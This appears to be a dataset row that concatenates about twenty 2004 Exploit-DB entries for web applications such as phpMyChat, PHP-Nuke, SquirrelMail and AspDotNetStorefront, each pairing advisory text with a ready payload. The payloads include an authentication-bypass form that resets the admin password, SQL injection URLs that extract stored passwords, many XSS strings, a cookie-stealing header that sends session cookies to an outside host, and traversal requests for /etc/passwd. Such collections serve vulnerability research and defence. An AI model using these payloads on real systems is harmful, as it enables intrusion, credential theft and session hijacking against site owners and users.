QLWD/code_shield huggingface dataset:
标题: phpHeaven phpMyChat 0.14.5 - 'edituser.php3?do_not_login' Authentication Bypass EDB-ID: 24216 CVE: 2004-2715 类型: WEBAPPS 平台: PHP 发布日期: 2004-06-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/10556/info
 
phpHeaven phpMyChat is reported prone to multiple vulnerabilities. The issues result from insufficient sanitization of user-supplied data and design flaws. The following specific issues can affect the application:
 
phpMyChat is prone to a HTML injection vulnerability. The issue affects the 'input.php3' script. Due to a lack of sufficient sanitization of user-supplied data, this HTML Injection vulnerability may permit an attacker to inject malicious HTML or script code into the affected application. Users who are connected to this session would have the attacker supplied HTML code rendered in their browser in the context of the vulnerable site.
 
phpMyChat is prone to multiple SQL injection vulnerabilities. Again the issues are due to a failure of the application to properly sanitize user-supplied input. The problem presents itself when SQL syntax is passed through the URI parameters of the 'usersL.php3' script. The offending parameters are used in SQL queries prior to proper sanitization.
 
An authentication bypass vulnerability is reported to affect the phpMyChat authentication system. It is reported that by saving and modifying the phpMyChat authentication screen an attacker may potentially bypass the authentication system.
 
Finally phpMyChat is reported to be prone to a file disclosure vulnerability. A user who is authenticated as a site administrator can exploit the issue. The vulnerability presents itself because directory traversal sequences are not correctly sanitized from user-supplied data. It is reported that an attacker may disclose a target file by including a relative path including directory traversal sequences to the target file as a value for a URI parameter passed to the 'admin.php3' script.

<HTML>
<HEAD>
<TITLE>phpMyChat exploit</TITLE>
</HEAD>
<BODY>
<FORM ACTION="http://[TARGET]/chat/edituser.php3" METHOD="GET" AUTOCOMPLETE="OFF" NAME="EditUsrForm">
<INPUT type="hidden" name="FORM_SEND" value="1">
<INPUT type="hidden" name="AUTH_USERNAME" value="admin">
<INPUT type="hidden" name="AUTH_PASSWORD" value="null">
<!-- INSERT -->
<INPUT type="hidden" name="do_not_login" value="false">
<!-- END INSERT -->
<INPUT TYPE="hidden" NAME="L" VALUE="russian">
<INPUT TYPE="text" NAME="U" VALUE="admin">NAME *<BR>
<INPUT TYPE="text" NAME="PASSWORD" VALUE="hex_pass">NEW PASS *<BR>
<INPUT TYPE="text" NAME="FIRSTNAME" VALUE="">FIRST NAME<BR>
<INPUT TYPE="text" NAME="LASTNAME" VALUE="">LAST NAME<BR>
<INPUT TYPE="radio" NAME="GENDER" VALUE="1" >male<BR>
<INPUT TYPE="radio" NAME="GENDER" VALUE="2" >female<BR>
<INPUT TYPE="text" NAME="COUNTRY" VALUE="">COUNTRY<BR>
<INPUT TYPE="text" NAME="WEBSITE" VALUE="">WEBSITE<BR>
<INPUT TYPE="text" NAME="EMAIL" VALUE="you@email.ru">
<INPUT type="checkbox" name="SHOWEMAIL" value="1" >show e-mail in public information<BR>
<INPUT TYPE="submit" NAME="submit_type" VALUE="Change">
</FORM>
</BODY>
</HTML> URL: https://www.exploit-db.com/exploits/24216
标题: phpHeaven phpMyChat 0.14.5 - 'usersL.php3' Multiple SQL Injections EDB-ID: 24215 CVE: 2004-2716 类型: WEBAPPS 平台: PHP 发布日期: 2004-06-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/10556/info

phpHeaven phpMyChat is reported prone to multiple vulnerabilities. The issues result from insufficient sanitization of user-supplied data and design flaws. The following specific issues can affect the application:

phpMyChat is prone to a HTML injection vulnerability. The issue affects the 'input.php3' script. Due to a lack of sufficient sanitization of user-supplied data, this HTML Injection vulnerability may permit an attacker to inject malicious HTML or script code into the affected application. Users who are connected to this session would have the attacker supplied HTML code rendered in their browser in the context of the vulnerable site. 

phpMyChat is prone to multiple SQL injection vulnerabilities. Again the issues are due to a failure of the application to properly sanitize user-supplied input. The problem presents itself when SQL syntax is passed through the URI parameters of the 'usersL.php3' script. The offending parameters are used in SQL queries prior to proper sanitization.

An authentication bypass vulnerability is reported to affect the phpMyChat authentication system. It is reported that by saving and modifying the phpMyChat authentication screen an attacker may potentially bypass the authentication system.

Finally phpMyChat is reported to be prone to a file disclosure vulnerability. A user who is authenticated as a site administrator can exploit the issue. The vulnerability presents itself because directory traversal sequences are not correctly sanitized from user-supplied data. It is reported that an attacker may disclose a target file by including a relative path including directory traversal sequences to the target file as a value for a URI parameter passed to the 'admin.php3' script.

http://www.example.com/chat/usersL.php3?L=russian&R='[SQL]
http://www.example.com/chat/usersL.php3?L=russian&R='%20UNION%20SELECT%20username,null,null,null%20FROM%20%20c_reg_users%20/*
http://www.example.com/chat/usersL.php3?L=russian&R='%20UNION%20SELECT%20password,null,null,null%20FROM%20%20c_reg_users%20/*
http://www.example.com/chat/usersL.php3?L=russian&R='%20UNION%20SELECT%20email,null,null,null%20FROM%20%20c_reg_users%20/* URL: https://www.exploit-db.com/exploits/24215
标题: Linksys Web Camera Software 2.10 - 'Next_file' Cross-Site Scripting EDB-ID: 24197 CVE: 2004-2508 类型: WEBAPPS 平台: CGI 发布日期: 2004-06-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/10533/info

It is reported that Linksys Web Camera software is prone to a cross-site scripting vulnerability that may allow a remote attacker to steal cookie-based authentication credentials or carry out other attacks.

The problem presents itself when an attacker passes malicious HTML or script code to the application via the 'next_file' parameter of the 'main.cgi' script.

Linksys Web Camera software version 2.10 is reportedly prone to this issue, however, it is possible that other versions are affected as well.

http://www.example.com/main.cgi?next_file=poop<script>alert('scriptX :P');</script> URL: https://www.exploit-db.com/exploits/24197
标题: Virtual Programming VP-ASP Shoperror Script 4/5 - Cross-Site Scripting EDB-ID: 24198 CVE: 2004-2411 类型: WEBAPPS 平台: ASP 发布日期: 2004-06-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/10534/info

A vulnerability exists in the software that may allow a remote user to launch cross-site scripting attacks. The problem is reported to exist due to improper sanitizing of user-supplied data in the 'shoperror.asp' script.

An attacker can exploit this issue to steal cookie authentication credentials, or perform other types of attacks. 

VP-ASP versions 5.0 and prior may be prone to this issue. It is possible that a vendor-supplied fix addresses this issue, however, this has not been confirmed at the moment.

http://www.example.com/vpasp/shoperror.asp?msg=<img%20src="javascript:alert('XSS')">
http://www.example.com/vpasp/shoperror.asp?msg=<meta%20http-equiv='refresh'content=
'0'> URL: https://www.exploit-db.com/exploits/24198
标题: PHP-Nuke 6.x/7.x FAQ Module - 'categories' Cross-Site Scripting EDB-ID: 24190 CVE: 2005-1023 类型: WEBAPPS 平台: JAVA 发布日期: 2004-06-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/10524/info

PHP-Nuke is prone to multiple vulnerabilities. The issues result from insufficient sanitization of user-supplied data. The following specific issues can affect the application:

PHP-Nuke is prone to multiple cross-site scripting vulnerabilities. These issues affect the 'Faq', 'Encyclopedia' and 'Reviews' modules.

These cross-site scripting issues could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If a user follows the malicious link, the attacker-supplied code executes in the Web browser of the victim computer.

PHP-Nuke is prone to an SQL Injection Vulnerability. Again the issue is due to a failure of the application to properly sanitize user-supplied input. The problem presents itself when SQL syntax is passed through the a parameter of the 'Reviews' module.

As a result of this issue an attacker could modify the logic and structure of database queries.

Finally a remote denial of service vulnerability is reported to exist in the score subsystem of the 'Review' module of PHP-Nuke, it is reported that a large number supplied as a value for a parameter passed to the 'Reviews' module will deny service to legitimate PHP-Nuke users. 

http://www.example.com/nuke73/modules.php?name=FAQ&myfaq=yes&id_cat=1&categories=[xss code here] URL: https://www.exploit-db.com/exploits/24190
标题: Invision Power Board (IP.Board) 1.3 - 'SSI.php' Cross-Site Scripting EDB-ID: 24199 CVE: 2004-2413 类型: WEBAPPS 平台: PHP 发布日期: 2004-06-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/10539/info

Invision Power Board 'ssi.php' script reported prone to a cross-site scripting vulnerability. The issue presents itself due to a lack of sufficient sanitization performed by functions in the 'ssi.php' script on user-influenced 'f' parameter. This can permit the theft of cookie-based authentication credentials; other attacks may also be possible.

http://www.example.com/hyper/ssi.php?a=out&type=xml&f=<script>alert("ALOooooooooo");</script> URL: https://www.exploit-db.com/exploits/24199
标题: PHP-Nuke 6.x/7.x Reviews Module - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 24194 CVE: 2004-2294 类型: WEBAPPS 平台: PHP 发布日期: 2004-06-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/10524/info
    
PHP-Nuke is prone to multiple vulnerabilities. The issues result from insufficient sanitization of user-supplied data. The following specific issues can affect the application:
    
PHP-Nuke is prone to multiple cross-site scripting vulnerabilities. These issues affect the 'Faq', 'Encyclopedia' and 'Reviews' modules.
    
These cross-site scripting issues could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If a user follows the malicious link, the attacker-supplied code executes in the Web browser of the victim computer.
    
PHP-Nuke is prone to an SQL Injection Vulnerability. Again the issue is due to a failure of the application to properly sanitize user-supplied input. The problem presents itself when SQL syntax is passed through the a parameter of the 'Reviews' module.
    
As a result of this issue an attacker could modify the logic and structure of database queries.
    
Finally a remote denial of service vulnerability is reported to exist in the score subsystem of the 'Review' module of PHP-Nuke, it is reported that a large number supplied as a value for a parameter passed to the 'Reviews' module will deny service to legitimate PHP-Nuke users. 

http://www.example.com/nuke73/modules.php?name=Reviews&rop=preview_review&title=f001&text=f002&score=9&email=f003@bar.org&reviewer=f00bar&url_title=foobar&url=[xss code here]
http://www.example.com/nuke73/modules.php?name=Reviews&rop=preview_review&title=f001&text=f002&score=9&email=f003@bar.org&reviewer=f00bar&cover=[xss code here]
http://www.example.com/nuke73/modules.php?name=Reviews&rop=preview_review&title=f001&text=f002&score=9&email=f00@bar.org&reviewer=f00bar&rlanguage=[xss code here]
http://www.example.com/nuke73/modules.php?name=Reviews&rop=preview_review&title=f001&text=f002&score=9&email=f00@bar.org&reviewer=f00bar&hits=[xss code here]
http://www.example.com/nuke73/modules.php?name=Reviews&rop=Yes&title=f001&text=f002&score=9&email=f00@bar.org&reviewer=[xss code here]
http://www.example.com/nuke72/modules.php?name=Reviews&rop=Yes&title=f001&text=f002&score=9&email=f00@bar.org&text=f00%253c/textarea>%253cscript>alert%2528document.cookie);%253
c/script>bar
http://www.example.com/nuke73/modules.php?name=Reviews&rop=savecomment&uname=[xss code here]&id=8&score=9 URL: https://www.exploit-db.com/exploits/24194
标题: PHP-Nuke 6.x/7.x Reviews Module - 'order' SQL Injection EDB-ID: 24192 CVE: 2004-2295 类型: WEBAPPS 平台: PHP 发布日期: 2004-06-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/10524/info
  
PHP-Nuke is prone to multiple vulnerabilities. The issues result from insufficient sanitization of user-supplied data. The following specific issues can affect the application:
  
PHP-Nuke is prone to multiple cross-site scripting vulnerabilities. These issues affect the 'Faq', 'Encyclopedia' and 'Reviews' modules.
  
These cross-site scripting issues could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If a user follows the malicious link, the attacker-supplied code executes in the Web browser of the victim computer.
  
PHP-Nuke is prone to an SQL Injection Vulnerability. Again the issue is due to a failure of the application to properly sanitize user-supplied input. The problem presents itself when SQL syntax is passed through the a parameter of the 'Reviews' module.
  
As a result of this issue an attacker could modify the logic and structure of database queries.
  
Finally a remote denial of service vulnerability is reported to exist in the score subsystem of the 'Review' module of PHP-Nuke, it is reported that a large number supplied as a value for a parameter passed to the 'Reviews' module will deny service to legitimate PHP-Nuke users. 

http://www.example.com/nuke73/modules.php?name=Reviews&rop=Q&order=[sql injection code here] URL: https://www.exploit-db.com/exploits/24192
标题: PHP-Nuke 6.x/7.x Encyclopedia Module - Multiple Function Cross-Site Scripting Vulnerabilities EDB-ID: 24191 CVE: 2004-2293 类型: WEBAPPS 平台: PHP 发布日期: 2004-06-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/10524/info
 
PHP-Nuke is prone to multiple vulnerabilities. The issues result from insufficient sanitization of user-supplied data. The following specific issues can affect the application:
 
PHP-Nuke is prone to multiple cross-site scripting vulnerabilities. These issues affect the 'Faq', 'Encyclopedia' and 'Reviews' modules.
 
These cross-site scripting issues could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If a user follows the malicious link, the attacker-supplied code executes in the Web browser of the victim computer.
 
PHP-Nuke is prone to an SQL Injection Vulnerability. Again the issue is due to a failure of the application to properly sanitize user-supplied input. The problem presents itself when SQL syntax is passed through the a parameter of the 'Reviews' module.
 
As a result of this issue an attacker could modify the logic and structure of database queries.
 
Finally a remote denial of service vulnerability is reported to exist in the score subsystem of the 'Review' module of PHP-Nuke, it is reported that a large number supplied as a value for a parameter passed to the 'Reviews' module will deny service to legitimate PHP-Nuke users. 

http://www.example.com/nuke73/modules.php?name=Encyclopedia&op=terms&eid=1&ltr=[xss code here]
http://www.example.com/nuke73/modules.php?name=Encyclopedia&file=search&eid=[xss code here]
http://www.example.com/nuke73/modules.php?name=Encyclopedia&file=search&query=f00bar&eid=[xss code here]
http://www.example.com/nuke73/modules.php?name=Encyclopedia&op=content&tid=774&page=2&query=[xss code here] URL: https://www.exploit-db.com/exploits/24191
标题: AspDotNetStorefront 3.3 - 'ReturnURL' Cross-Site Scripting EDB-ID: 24185 CVE: 2004-2701 类型: WEBAPPS 平台: ASP 发布日期: 2004-06-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/10507/info

AspDotNetStorefront is prone to a cross-site scripting vulnerability. This issue exists due to insufficient sanitization of user-supplied data. The problem presents itself in the 'returnurl' parameter of the 'signin.aspx' script of the application and can allow remote attackers to steal cookie-based authentication credentials and carry out other attacks.

AspDotNetStorefront 3.3 is reportedly affected by this issue, however, it is possible that other versions are affected as well.

http://www.example.com/aspdotnetcart/admin/signin.aspx?returnurl=1"style=
"background:url(javascript:alert('Vulnerable_To_XSS'))"%20"

http://www.example.com/aspdotnetcart/admin/signin.aspx?returnurl=--><scri
pt>alert('Vulnerable_To_XSS')</script>

http://www.example.com/aspdotnetcart/admin/signin.aspx?returnurl=>"><scri
pt>alert("Vulnerable_To_XSS")</script>

http://www.example.com/aspdotnetcart/admin/signin.aspx?returnurl=>"'><img
%20src="javascript:alert('Vulnerable_To_XSS')"> URL: https://www.exploit-db.com/exploits/24185
标题: Roundup 0.5/0.6 - Remote File Disclosure EDB-ID: 24179 CVE: 2004-1444 类型: REMOTE 平台: LINUX 发布日期: 2004-06-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/10495/info

Roundup is prone to a remote file disclosure vulnerability. A remote user can disclose files on a vulnerable computer by using the /home/@@file/ prefix and '../' directory traversal sequences.

This vulnerability affects Roundup 0.6.11 and prior versions. 

GET /cit/@@file/../../../../etc/passwd HTTP/1.0 URL: https://www.exploit-db.com/exploits/24179
标题: Linksys Web Camera Software 2.10 - 'Next_file' File Disclosure EDB-ID: 24175 CVE: 2004-2507 类型: WEBAPPS 平台: CGI 发布日期: 2004-06-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/10476/info

It is reported that Linksys Web Camera software is prone to a remote file disclosure vulnerability that may allow a remote attacker to disclose sensitive files.

Linksys Web Camera software version 2.10 is reportedly prone to this issue, however, it is possible that other versions are affected as well.

http://www.example.com/main.cgi?next_file=/etc/passwd URL: https://www.exploit-db.com/exploits/24175
标题: AspDotNetStorefront 3.3 - Access Validation EDB-ID: 24184 CVE: 2004-2699 类型: WEBAPPS 平台: ASP 发布日期: 2004-06-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/10506/info

AspDotNetStorefront is reportedly prone to an access validation vulnerability that may allow a remote attacker to delete arbitrary contents from a vulnerable Web site. The issue occurs because the 'deleteicon.aspx' script does not validate access before allowing an unprivileged user to delete contents such as icons and images from the site.

Other attacks may be possible as well, however, this has not been confirmed.

AspDotNetStorefront 3.3 is reportedly affected by this issue, however, it is possible that other versions are affected as well.

http://www.example.com/aspdotnetcart/admin/deleteicon.aspx?ProductID=1&Fo
rmImageName=Pic1&size=icon URL: https://www.exploit-db.com/exploits/24184
标题: NetWin Surgemail 1.8/1.9/2.0 / WebMail 3.1 - Error Message Full Path Disclosure EDB-ID: 24176 CVE: 2004-2547 类型: WEBAPPS 平台: PHP 发布日期: 2004-06-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/10483/info

SurgeMail/WebMail is prone to multiple vulnerabilities. These issue result from insufficient sanitization of user-supplied data. The issues can allow an attacker to carry out path disclosure and cross-site scripting attacks.

SurgeMail versions 1.9 and prior and WebMail 3.1d are affected by these issues. 

http://www.example.com/[non-existant request] URL: https://www.exploit-db.com/exploits/24176
标题: NetWin Surgemail 1.8/1.9/2.0 / WebMail 3.1 - Login Form Cross-Site Scripting EDB-ID: 24177 CVE: 2004-2548 类型: WEBAPPS 平台: PHP 发布日期: 2004-06-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/10483/info
 
SurgeMail/WebMail is prone to multiple vulnerabilities. These issue result from insufficient sanitization of user-supplied data. The issues can allow an attacker to carry out path disclosure and cross-site scripting attacks.
 
SurgeMail versions 1.9 and prior and WebMail 3.1d are affected by these issues. 

http://www.example.com:7080/<script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/24177
标题: Crafty Syntax Live Help 2.7.3 - Multiple HTML Injection Vulnerabilities EDB-ID: 24169 CVE: 2004-2355 类型: WEBAPPS 平台: PHP 发布日期: 2004-06-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/10463/info

CSLH is prone to multiple HTML injection vulnerabilities. These issues exist due to insufficient sanitization of user-supplied data. The problem presents itself in various modules of the application and can allow remote attackers to inject HTML code into the name field and in chat sessions for live help.

Crafy Syntax Live Help 2.7.3 and prior versions are prone to these issues. 

window.location("http://www.cgisecurity.com/articles/xss-faq.shtml");
window.location("http://livehelp.someisp.com/livehelp/operators.php?remove=1") URL: https://www.exploit-db.com/exploits/24169
标题: SquirrelMail 1.2.x - From Email Header HTML Injection EDB-ID: 24167 CVE: 2004-0639 类型: WEBAPPS 平台: PHP 发布日期: 2004-06-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/10450/info

SquirrelMail is reported to be prone to a 'from' field email header HTML injection vulnerability. This issue is due to a failure of the application to properly sanitize user-supplied email header strings.

An attacker can exploit this issue to gain access to an unsuspecting user's cookie based authentication credentials; disclosure of personal email is possible. Other attacks are also possible. 

From:<!--<>(-->John Doe<script>window.alert(document.cookie);</script><>

From:(<!--(--><script>document.location='http://www.rs-labs.com/?'+document.cookie;</script><>

From:<!--<>(-->John Doe<script>document.cookie='PHPSESSID=xxx;path=/';</script><> URL: https://www.exploit-db.com/exploits/24167
标题: Sambar Server 6.1 Beta 2 - 'showini.asp' Arbitrary File Access EDB-ID: 24163 CVE: 2004-2565 类型: REMOTE 平台: WINDOWS 发布日期: 2004-06-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/10444/info
  
Sambar Server is reportedly prone to multiple vulnerabilities. These issues may allow an attacker to access sensitive files and carry out directory traversal and cross-site scripting attacks.
  
These issues require an attacker to have administrative privileges, however, it is reported that an administrative password is not set on the server by default. An administrator who is not intended to have certain privileges may also exploit these vulnerabilities.
  
Sambar 6.1 Beta 2 is reported to be prone to these issues, however, it is likely that other versions are affected as well.

http://www.example.com/sysadmin/system/showini.asp?file=\..\..\..\..\..\..\..\boot.ini URL: https://www.exploit-db.com/exploits/24163
标题: e107 website system 0.6 - 'email article to a friend' Feature Cross-Site Scripting EDB-ID: 24154 CVE: 2004-2040 类型: WEBAPPS 平台: PHP 发布日期: 2004-05-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/10436/info
 
e107 is prone to multiple cross-site scripting, HTML injection, file inclusion, and SQL injection vulnerabilities. This may compromise various security properties of a Web site running the software, including allowing remote attackers to execute malicious PHP code.
 
- HTML injection in the "email article to a friend" and "submit news" pages.:

foobar'><body onload=alert(document.cookie);> URL: https://www.exploit-db.com/exploits/24154
标题: PHP-Nuke 5.x/6.x/7.x - Direct Script Access Security Bypass EDB-ID: 24166 CVE: 2004-2044 类型: WEBAPPS 平台: PHP 发布日期: 2004-06-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/10447/info

PHP-Nuke is affected by a direct script access security vulnerability. This issue is due to a failure to properly validate the location and name of the file being accessed.

This issue will allow an attacker to gain access to sensitive scripts such as the 'admin.php' script. The attacker may be able to exploit this unauthorized access to carry out attacks against the affected application.

http://www.example.com/admin/case/case.adminfaq.php/admin.php?op=FaqCatGo
http://www.example.com/admin/admin.php/index.php
http://www.example.com/admin/modules/blocks.php/admin.php URL: https://www.exploit-db.com/exploits/24166